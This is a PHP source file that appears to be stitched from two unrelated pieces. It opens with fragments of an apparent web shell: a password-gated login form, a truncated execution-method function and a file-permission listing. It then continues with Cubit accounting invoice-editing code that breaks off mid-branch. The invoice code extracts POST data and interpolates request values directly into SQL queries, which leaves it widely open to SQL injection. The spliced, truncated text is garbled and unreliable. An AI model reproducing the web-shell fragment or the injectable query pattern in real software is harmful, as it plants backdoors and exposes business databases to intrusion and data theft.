print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>\n\n\t<form action=" . basename(__FILE__) . " method=\"POST\"><b>Password?</b>\n\n\t<input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">\n\n\t</form>";
}
function reload()
{
header("Location: " . basename(__FILE__));
}
function get_execution_method()
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$files[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";}
if ($size < 1024){$siz=$size.' b';
}else{
if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{
if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{
if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}
function details($_POST, $error = "")
{
# Get vars
extract($_POST);
# validate input
require_lib("validate");
$v = new validate();
if (isset($invid)) {
$v->isOk($invid, "num", 1, 20, "Invalid invoice number.");
}
if (isset($letter)) {
$v->isOk($letters, "string", 0, 5, "Invalid First 3 Letters.");
}
if (isset($deptid)) {
$v->isOk($deptid, "num", 1, 20, "Invalid department number.");
}
if (isset($sel_frm)) {
$v->isOk($sel_frm, "string", 6, 6, "Invalid select from selection.");
}
# display errors, if any
if ($v->isError()) {
$error = "";
$errors = $v->getErrors();
foreach ($errors as $e) {
$error .= "<li class='err'>" . $e["msg"] . "</li>";
}
return $error . view_err($_POST);
}
if (isset($deptid) && isset($letters)) {
db_connect();
if ($deptid == "0") {
$searchdept = "";
} else {
$searchdept = "deptid = '{$deptid}' AND ";
}
# Query server for customer info
$sql = "SELECT cusnum, cusname, surname FROM customers WHERE {$searchdept} location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$ajax_err = "<li class='err'>No customer names starting with <b>{$letters}</b> in database.</li>";
//return view_err($_POST, $err);
}
}
if (!isset($deptid)) {
$deptid = 2;
} else {
if (isset($invid)) {
db_conn("cubit");
$sql = "UPDATE invoices SET deptid='{$deptid}' WHERE invid='{$invid}' AND deptid<>'{$deptid}'";
db_exec($sql) or errDie("Error updating invoice department.");
}
}
if (!isset($invid)) {
$invid = create_dummy($deptid);
}
if (!isset($stkerr)) {
$stkerr = "0,0";
}
if (!isset($done)) {
$done = "";
}
if (!isset($cust_del_addr)) {
$cust_del_addr = "";
}
if (!isset($sel_frm)) {
$sel_frm = "stkcod";
}
# Get invoice info
db_connect();
$sql = "SELECT * FROM invoices WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$invRslt = db_exec($sql) or errDie("Unable to get invoice information");
if (pg_numrows($invRslt) < 1) {
return "<li class='err'>Invoice Not Found</li>";
}
$inv = pg_fetch_array($invRslt);
if (!isset($branch)) {
$branch = $inv['branch'];
}
# Check if invoice has been printed
if ($inv['printed'] == "y") {
$error = "<li class='err'> Error : Invoice number <b>{$invid}</b> has already been printed.</li>";
$error .= "<p><input type='button' onClick='JavaScript:history.back();' value='« Correct submission'>";
return $error;
}
# Get department
db_conn("exten");
$sql = "SELECT * FROM departments WHERE deptid = '{$inv['deptid']}' AND div = '" . USER_DIV . "'";
$deptRslt = db_exec($sql);
if (pg_numrows($deptRslt) < 1) {
$dept['deptname'] = "<li class='err'>Department not Found.</li>";
} else {
$dept = pg_fetch_array($deptRslt);
}
# Get selected Customer info
if (isset($letters)) {
db_connect();
$sql = "SELECT * FROM customers WHERE cusnum = '{$inv['cusnum']}' AND location != 'int' AND div = '" . USER_DIV . "'";
$custRslt = db_exec($sql) or errDie("Unable to view customer");
if (pg_numrows($custRslt) < 1) {
if ($inv['deptid'] == 0) {
$searchdept = "";
} else {
$searchdept = "deptid = '{$inv['deptid']}' AND ";
}
# Query server for customer info
$sql = "SELECT cusnum, cusname, surname, accno FROM customers WHERE {$searchdept} location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$ajax_err = "<li class='err'>No customer names starting with <b>{$letters}</b> in database.</li>";
//return view_err($_POST, $err);
} else {
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
if (pg_numrows($custRslt) == 1) {
$inv['cusnum'] = pg_fetch_result($custRslt, 0, 0);
} else {
$customers .= "<option value='-S' selected>Select Customer</option>";
}
while ($cust = pg_fetch_array($custRslt)) {
$customers .= "<option value='{$cust['cusnum']}'>{$cust['cusname']} {$cust['surname']} ({$cust['accno']})</option>";
}
$customers .= "</select>";
}
# Take care of the unset vars
$cust['addr1'] = "";
$cust['cusnum'] = "";
$cust['vatnum'] = "";
$cust['accno'] = "";
$cust_del_addr = "";
$branchdrop = "<input type='hidden' name='branch' value='0'>";
} else {
$cust = pg_fetch_array($custRslt);
#override address
if ($branch != 0) {
$get_addr = "SELECT branch_descrip FROM customer_branches WHERE id = '{$branch}' AND div = '" . USER_DIV . "' LIMIT 1";
$run_addr = db_exec($get_addr);
if (pg_numrows($run_addr) < 1) {
#address missing ... do nothing
} else {
$arr = pg_fetch_array($run_addr);
$cust['addr1'] = $arr['branch_descrip'];
if ($inv['del_addr'] != $arr['branch_descrip']) {
$update_addr = "UPDATE invoices SET del_addr = '{$arr['branch_descrip']}' WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
}
}
}
#if the del_addr of invoice if empty, add the customer's entry and display button so user can edit anyway
if (strlen($inv['del_addr']) < 1) {
$cust_del_addr = $cust['del_addr1'];
} else {
$cust_del_addr = $inv['del_addr'];
}
$sql = "SELECT cusnum, cusname, surname FROM customers WHERE deptid = '{$inv['deptid']}' AND location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$cusRslt = db_exec($sql) or errDie("Unable to view customers");
# Moarn if customer account has been blocked
if ($cust['blocked'] == 'yes') {
$error .= "<li class='err'>Error : Selected customer account has been blocked.</li>";
}
// $customers = "<input type=hidden name=cusnum value='$cust[cusnum]'>$cust[cusname] $cust[surname]";
$cusnum = $cust['cusnum'];
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
// $customers .= "<option value='-S' selected>Select Customer</option>";
while ($cus = pg_fetch_array($cusRslt)) {
$sel = "";
if ($cust['cusnum'] == $cus['cusnum']) {
$sel = "selected";
}
$customers .= "<option value='{$cus['cusnum']}' {$sel}>{$cus['cusname']} {$cus['surname']}</option>";
}
$customers .= "</select>";
#get list of branches
$get_branches = "SELECT * FROM customer_branches WHERE cusnum = '{$cusnum}' AND div = '" . USER_DIV . "'";
$run_branches = db_exec($get_branches);
if (pg_numrows($run_branches) < 1) {
$branchdrop = "<input type='hidden' name='branch' value='0'>No Branches For This Customer";
} else {
$branchdrop = "<select name='branch' onChange='javascript:document.form.submit();'>";
$branchdrop .= "<option value='0'>Head Office</option>";
while ($barr = pg_fetch_array($run_branches)) {
$sel2 = "";
if ($barr['id'] == $branch) {
$sel2 = "selected";
}
$branchdrop .= "<option {$sel2} value='{$barr['id']}'>{$barr['branch_name']}</option>";
}
$branchdrop .= "</select>";
}
}
}
/* --- Start Drop Downs --- */
# Select warehouse
db_conn("exten");
//old
//$whs = "<select name='whidss[]' onChange='javascript:document.form.submit();'>";
//fixes broken new store function
//STORE1
$whs = "<select name='whidss[]'>";
$sql = "SELECT * FROM warehouses WHERE div = '" . USER_DIV . "' ORDER BY whname ASC";
$whRslt = db_exec($sql);
if (pg_numrows($whRslt) < 1) {
return "<li class='err'> There are no Stores found in Cubit.</li>";
} else {
$whs .= "<option value='-S' disabled selected>Select Store</option>";
while ($wh = pg_fetch_array($whRslt)) {
$whs .= "<option value='{$wh['whid']}'>({$wh['whno']}) {$wh['whname']}</option>";
}
}
$whs .= "</select>";
// Is the customer linked to a sales rep
if (!empty($cust["sales_rep"])) {
db_conn("exten");
$sql = "SELECT salesp FROM salespeople WHERE salespid='{$cust['sales_rep']}'";
$sr_rslt = db_exec($sql) or errDie("Unable to retrieve sales rep from Cubit.");
$salespname = pg_fetch_result($sr_rslt, 0);
$salesps = "<input type='hidden' name='salespn' value='{$salespname}'><b>[{$salespname}]</b>";
} else {
db_conn("exten");
$sql = "SELECT * FROM salespeople WHERE div = '" . USER_DIV . "' ORDER BY salesp ASC";
$salespRslt = db_exec($sql) or errDie("Unable to get sales people.");
if (pg_numrows($salespRslt) < 1) {
return "<li class='err'> There are no Sales People found in Cubit.</li>";
} else {
$salesps = "<select name='salespn'>";
while ($salesp = pg_fetch_array($salespRslt)) {
if ($salesp['salesp'] == $inv['salespn']) {
$sel = "selected";
} else {
$sel = "";
}
$salesps .= "<option value='{$salesp['salesp']}' {$sel}>{$salesp['salesp']}</option>";
}
$salesps .= "</select>";
}
}
# Days drop downs
$days = array("0" => "0", "7" => "7", "14" => "14", "30" => "30", "60" => "60", "90" => "90", "120" => "120");
$termssel = extlib_cpsel("terms", $days, $inv['terms']);
# Keep the charge vat option stable
if ($inv['chrgvat'] == "inc") {
$chin = "checked=yes";
$chex = "";
$chno = "";
} elseif ($inv['chrgvat'] == "exc") {
$chin = "";
$chex = "checked=yes";
$chno = "";
} else {
$chin = "";
$chex = "";
$chno = "checked=yes";
}
# Format date
list($inv_date_year, $inv_date_month, $inv_date_day) = explode("-", $inv['odate']);
/* --- End Drop Downs --- */
/* --- Start Products Display --- */
# Select all products
$products = "\n\t\t<table " . TMPL_tblDflts . "' width='100%'>\n\t\t\t<tr>\n\t\t\t\t<th>STORE</th>\n\t\t\t\t<th>ITEM NUMBER</th>\n\t\t\t\t<th>VAT CODE</th>\n\t\t\t\t<th>SERIAL NO.</th>\n\t\t\t\t<th>DESCRIPTION</th>\n\t\t\t\t<th>QTY</th>\n\t\t\t\t<th>UNIT PRICE</th>\n\t\t\t\t<th>UNIT DISCOUNT</th>\n\t\t\t\t<th>AMOUNT</th>\n\t\t\t\t<th>Remove</th>\n\t\t\t<tr>";
# get selected stock in this invoice
db_connect();
$sql = "SELECT * FROM inv_items WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$stkdRslt = db_exec($sql);
$i = 0;
$key = 0;
$ai = 0;
while ($stkd = pg_fetch_array($stkdRslt)) {
$stkd['account'] += 0;
if ($stkd['account'] != 0) {
# Keep track of selected stock amounts
$stkd["amt"] = sprint($stkd["amt"]);
$amts[$i] = $stkd['amt'];
$i++;
$Accounts = "\n\t\t\t\t<select name='accounts[{$ai}]'>\n\t\t\t\t\t<option value='0'>Select Account</option>";
$useaccdrop = getCSetting("USE_NON_STOCK_ACCOUNTS");
if (isset($useaccdrop) and $useaccdrop == "yes") {
db_connect();
$acc_sql = "SELECT * FROM non_stock_account_list ORDER BY accname";
$run_acc = db_exec($acc_sql) or errDie("Unable to get account information.");
if (pg_numrows($run_acc) > 0) {
while ($acc = pg_fetch_array($run_acc)) {
if ($acc['accid'] == $stkd['account']) {
$Accounts .= "<option value='{$acc['accid']}' selected>{$acc['accname']}</option>";
} else {
$Accounts .= "<option value='{$acc['accid']}'>{$acc['accname']}</option>";
}
}
$Accounts .= "</select>";
}
} else {
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
while ($ad = pg_fetch_array($Ri)) {
if ($ad['accid'] == $stkd['account']) {
$sel = "selected";
} else {
$sel = "";
}
if (isb($ad['accid'])) {
continue;
}
$Accounts .= "<option value='{$ad['accid']}' {$sel}>{$ad['accname']}</option>";
}
}
$Accounts .= "</select>";
$sernos = "\n\t\t\t\t<input type='hidden' name='sernos[{$ai}]' value='{$stkd['serno']}'>\n\t\t\t\t<input type='hidden' name='sernos_ss[{$ai}]' value='{$stkd['serno']}'>";
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[{$ai}]' value='{$stkd['qty']}'>";
$viewcost = "<input type='text' size='8' name='unitcost[{$ai}]' value='{$stkd['unitcost']}'>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodes[{$ai}]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stkd['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in product
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td colspan='2'>\n\t\t\t\t\t\t{$Accounts}\n\t\t\t\t\t\t<input type='hidden' name='whids[{$ai}]' value='{$stkd['whid']}'>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td><input type='hidden' name='stkids[{$ai}]' value='{$stkd['stkid']}'>{$Vatcodes}</td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td><input type='text' size='20' name='descriptions[{$ai}]' value='{$stkd['description']}'> {$sernos}</td>\n\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t<td><input type='hidden' name='disc[{$ai}]' value='{$stkd['disc']}'><input type='hidden' name='discp[{$ai}]' value='{$stkd['discp']}'></td>\n\t\t\t\t\t<td nowrap><input type='hidden' name='amt[{$ai}]' value='{$stkd['amt']}'> " . CUR . " {$stkd['amt']}</td>\n\t\t\t\t\t<td><input type='checkbox' name='remprod[{$ai}]' value='{$key}'></td>\n\t\t\t\t</tr>";
$key++;
++$ai;
} else {
# Keep track of selected stock amounts
$amts[$i] = $stkd['amt'];
$i++;
# Get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$stkd['whid']}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkd['stkid']}' AND div = '" . USER_DIV . "'";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
# Serial number
if ($stk['serd'] == 'yes' && ($inv['serd'] == 'n' || $stkd["serno"] == "")) {
$sers = ext_getavserials($stkd['stkid']);
$sernos = "<select name='sernos[{$ai}]'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>\n\t\t\t\t\t<input type='hidden' name='sernos_ss[]' value='*_*_*CUBIT_SERIAL_SELECT_BOX*_*_*' />";
} else {
$sernos = "\n\t\t\t\t\t<input type='hidden' name='sernos_ss[]' value='{$stkd['ss']}' />\n\t\t\t\t\t<input type='hidden' name='sernos[{$ai}]' value='{$stkd['serno']}'>{$stkd['ss']}";
}
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[{$ai}]' value='{$stkd['qty']}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type='hidden' size='3' name='qtys[{$ai}]' value='{$stkd['qty']}'>{$stkd['qty']}";
}
# check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[{$ai}]' value='{$stkd['unitcost']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[{$ai}]' value='{$stkd['unitcost']}'>{$stkd['unitcost']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodes[{$ai}]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stkd['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in product
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<input type='hidden' name='accounts[{$ai}]' value='0'>\n\t\t\t\t\t\t<input type='hidden' name='descriptions[{$ai}]' value=''>\n\t\t\t\t\t\t<input type='hidden' name='whids[{$ai}]' value='{$stkd['whid']}'>{$wh['whname']}\n\t\t\t\t\t</td>\n\t\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stkd['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t<td>{$sernos}</td>\n\t\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t<td><input type='text' size='4' name='disc[{$ai}]' value='{$stkd['disc']}'> OR <input type='text' size='4' name='discp[{$ai}]' value='{$stkd['discp']}' maxlength='5'>%</td>\n\t\t\t\t\t<td nowrap><input type='hidden' name='amt[{$ai}]' value='{$stkd['amt']}'> " . CUR . " {$stkd['amt']}</td>\n\t\t\t\t\t<td><input type='checkbox' name='remprod[{$ai}]' value='{$key}'></td>\n\t\t\t\t</tr>";
$key++;
++$ai;
}
}
# Look above(remprod keys)
$keyy = $key;
# Look above(if i = 0 then there are no products)
if ($i == 0) {
$done = "";
} else {
$SCROLL = "yes";
}
# check if stock warehouse was selected
if (isset($whidss)) {
foreach ($whidss as $key => $whid) {
if (isset($stkidss[$key]) && $stkidss[$key] != "-S" && isset($cust['pricelist'])) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkidss[$key]}' AND div = '" . USER_DIV . "' ORDER BY stkcod ASC";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
# Get selected warehouse name
db_conn("exten");
$sql = "SELECT whid, whname FROM warehouses WHERE whid = (select whid from cubit.stock where stkid = '{$stk['stkid']}' limit 1) AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if ($stk['serd'] == 'yes') {
$sers = ext_getavserials($stkidss[$key]);
$sernos = "<select name='sernos[]' onChange='javascript:document.form.submit();'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>\n\t\t\t\t\t\t<input type='hidden' name='sernos_ss[]' value='*_*_*CUBIT_SERIAL_SELECT_BOX*_*_*' />";
} else {
$sernos = "\n\t\t\t\t\t\t<input type='hidden' name='sernos_ss[]' value=''>\n\t\t\t\t\t\t<input type='hidden' name='sernos[{$ai}]' value=''>";
}
# Get price from price list if it is set
if (isset($cust['pricelist'])) {
# get selected stock in this warehouse
db_conn("exten");
$sql = "SELECT price FROM plist_prices WHERE listid = '{$cust['pricelist']}' AND stkid = '{$stk['stkid']}' AND div = '" . USER_DIV . "'";
$plRslt = db_exec($sql);
if (pg_numrows($plRslt) > 0) {
$pl = pg_fetch_array($plRslt);
$stk['selamt'] = $pl['price'];
}
}
/* -- Start Some Checks -- */
# check if they are selling too much
if ($stk['units'] - $stk['alloc'] < $qtyss[$key]) {
if (!in_array($stk['stkid'], explode(",", $stkerr))) {
if ($stk['type'] != 'lab') {
$stkerr .= ",{$stk['stkid']}";
$error .= "<li class='err'>Warning : Item number <b>{$stk['stkcod']}</b> does not have enough items available.</li>";
}
}
}
if ($stk['units'] <= $stk['minlvl'] && $stk['minlvl'] != 0) {
$error .= "<li class='err'>{$stk['stkcod']} is below minimum level, please notify stock controller.</li>";
}
/* -- End Some Checks -- */
# Calculate the Discount discount
if ($discs[$key] < 1) {
if ($discps[$key] > 0) {
$discs[$key] = round($discps[$key] / 100 * $stk['selamt'], 2);
}
} else {
$discps[$key] = round($discs[$key] * 100 / $stk['selamt'], 2);
}
# Calculate amount
$amt[$key] = $qtyss[$key] * ($stk['selamt'] - $discs[$key]);
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtemp' value='{$qtyss[$key]}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type='hidden' size='3' name='qtemp' value='{$qtyss[$key]}'>{$qtyss[$key]}";
}
#clean some vars
$stk['selamt'] = sprint($stk['selamt']);
$amt[$key] = sprint($amt[$key]);
# Check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[{$ai}]' value='{$stk['selamt']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[{$ai}]' value='{$stk['selamt']}'>{$stk['selamt']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t<select name='vatcodes[{$ai}]'>\n\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stk['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in selected warehouse and stock
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type='hidden' name='accounts[{$ai}]' value='0'>\n\t\t\t\t\t\t\t<input type='hidden' name='descriptions[{$ai}]' value=''>\n\t\t\t\t\t\t\t<input type='hidden' name='whids[]' value='{$wh['whid']}'>{$wh['whname']}\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td><input type='hidden' name='stkids[{$ai}]' value='{$stk['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t\t<td>{$sernos}</td>\n\t\t\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t\t<td><input type='text' size='4' name='disc[{$ai}]' value='{$discs[$key]}'> OR <input type='text' size='4' name='discp[{$ai}]' value='{$discps[$key]}' maxlength='5'>%</td>\n\t\t\t\t\t\t<td nowrap><input type='hidden' name='amt[{$ai}]' value='{$amt[$key]}'> " . CUR . " {$amt[$key]}</td>\n\t\t\t\t\t\t<td><input type='checkbox' name='remprod[{$ai}]' value='{$keyy}'></td>\n\t\t\t\t\t</tr>";
$keyy++;
++$ai;
} elseif (isset($accountss[$key]) && $accountss[$key] != "0" && isset($cust['pricelist'])) {
db_conn('core');
$Sl = "SELECT * FROM accounts WHERE accid='{$accountss[$key]}'";
$Ri = db_exec($Sl) or errDie("Unable to get account data.");
if (pg_num_rows($Ri) < 1) {
return "invalid.";
}
$ad = pg_fetch_array($Ri);
# Calculate amount
$amt[$key] = sprint($qtyss[$key] * $unitcosts[$key]);
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtemp' value='{$qtyss[$key]}'>";
# Check permissions
$viewcost = "<input type='text' size='8' name='unitcost[{$ai}]' value='{$unitcosts[$key]}'>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t<select name='vatcodes[{$ai}]'>\n\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vatcodess[$key] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in selected warehouse and stock
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td colspan='2'>\n\t\t\t\t\t\t\t{$ad['accname']}\n\t\t\t\t\t\t\t<input type='hidden' name='accounts[{$ai}]' value='{$accountss[$key]}'>\n\t\t\t\t\t\t\t<input type='hidden' name='whids[{$ai}]' value='0'>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>{$Vatcodes}<input type='hidden' name='stkids[{$ai}]' value='0'></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td><input type='text' size='20' name='descriptions[{$ai}]' value='{$descriptionss[$key]}'></td>\n\t\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t\t<td><input type='hidden' name='disc[{$ai}]' value='0'><input type='hidden' name='discp[{$ai}]' value='0'></td>\n\t\t\t\t\t\t<td nowrap><input type='hidden' name='amt[{$ai}]' value='{$amt[$key]}'> " . CUR . " {$amt[$key]}</td>\n\t\t\t\t\t\t<td><input type='checkbox' name='remprod[{$ai}]' value='{$keyy}'></td>\n\t\t\t\t\t</tr>";
$keyy++;
++$ai;
} else {
# skip if not selected
if ($whid == "-S") {
continue;
}
if (!isset($addnon)) {
if ($filter_store != "0") {
# get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$filter_store}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
}
if (isset($ria) and $ria != "") {
$len = strlen($ria);
if ($ria == "Show All") {
$Wh = "";
$ria = "";
} else {
$Wh = "AND (lower(stkdes) LIKE lower('%{$ria}%')) OR (lower(stkcod) LIKE lower('%{$ria}%'))";
$ria = "";
}
} else {
$Wh = "AND FALSE";
$ria = "";
}
$check_setting = getCSetting("OPTIONAL_STOCK_FILTERS");
if (isset($check_setting) and $check_setting == "yes") {
if (isset($filter_class) and $filter_class != "0") {
$Wh .= " AND prdcls = '{$filter_class}'";
}
if (isset($filter_cat) and $filter_cat != "0") {
$Wh .= " AND catid = '{$filter_cat}'";
}
}
if (isset($filter_store) and $filter_store != "0") {
$Wh .= " AND whid = '{$filter_store}'";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY {$sel_frm} ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
$error .= "<li class='err'>There are no stock items in the selected warehouse.";
continue;
}
if (pg_numrows($stkRslt) == 1) {
$ex = "selected";
$reload = TRUE;
$send_override = "<input type='hidden' name='stkidss[{$ai}]' value='" . pg_fetch_result($stkRslt, 0, 0) . "'><script>document.form.submit();</script>";
} else {
$ex = "";
$reload = FALSE;
}
if ($sel_frm == "stkcod") {
$cods = "<select name='stkidss[{$ai}]' onChange='javascript:document.form1.submit();'>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
// Check if this stock item has been blocked
//pointless, as we only get non blocked stock ...
//if (stock_is_blocked($stk["stkid"])) {
// continue;
//}
$cods .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$cods .= "</select> ";
$descs = "";
} else {
$descs = "<select style='width:250px'name='stkidss[{$ai}]' onChange='javascript:document.form.submit();'>";
$descs .= "<option value='-S' disabled selected>Select Description</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
// Check if this stock item has been blocked
//pointless, as ge only get non blocked stock
// if (stock_is_blocked($stk["stkid"])) {
// continue;
// }
$descs .= "<option value='{$stk['stkid']}'>{$stk['stkdes']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$descs .= "</select> ";
$cods = "";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t\t<select name='vatcodess[{$ai}]'>\n\t\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# put in drop down and warehouse
$products .= "\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type='hidden' name='accountss[{$ai}]' value='0'>\n\t\t\t\t\t\t\t\t<input type='hidden' name='descriptionss[{$ai}]' value=''>\n\t\t\t\t\t\t\t\t<input type='hidden' name='whidss[{$ai}]' value='{$filter_store}'>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>{$cods}</td>\n\t\t\t\t\t\t\t<td><input type='hidden' name='vatcodess' value='0'></td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td>{$descs}</td>\n\t\t\t\t\t\t\t<td><input type='hidden' size='3' name='qtyss[{$ai}]' value='1'>1</td>\n\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t<td><input type='text' size='4' name='discs[{$ai}]' value='0'> OR <input type='text' size='4' name='discps[{$ai}]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t\t<td nowrap><input type='hidden' name='amts[{$ai}]' value='0.00'>" . CUR . " 0.00</td>\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t</tr>";
++$ai;
} else {
